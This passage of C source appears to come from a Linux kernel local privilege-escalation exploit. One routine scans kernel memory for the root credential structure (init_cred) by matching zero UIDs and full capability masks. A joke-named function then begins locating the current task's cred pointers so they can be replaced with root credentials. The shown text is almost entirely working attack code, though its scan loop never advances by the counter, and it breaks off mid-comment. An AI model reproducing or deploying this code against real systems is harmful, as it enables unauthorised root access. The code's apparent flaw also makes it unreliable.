for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) {
tmp = (struct cred *)valid_ranges[x][0];
if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&
tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&
tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&
tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 &&
tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 &&
tmp->cap_permitted[1] == ~0 &&
(tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) &&
tmp->cap_effective[1] == ~0 &&
(tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) &&
tmp->cap_bset[1] == ~0)
return (unsigned long)tmp;
}
}
return 0UL;
}
static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current)
{
/* cause it's a trillion dollar industry */
unsigned char *current = (unsigned char *)orig_current;
struct cred *init_cred_addr, **cred, **real_cred;
int i;
init_cred_addr = (struct cred *)find_init_cred();
if (!init_cred_addr)
return;
/* ok, we couldn't find our UIDs in the task struct
and we don't have the symbols for the creds
framework, discover it in a stupidly easy way:
in task_struct:
...stuff...
const struct cred *real_cred;
const struct cred *cred;
struct mutex cred_exec_mutex;
char comm[16];
...stuff...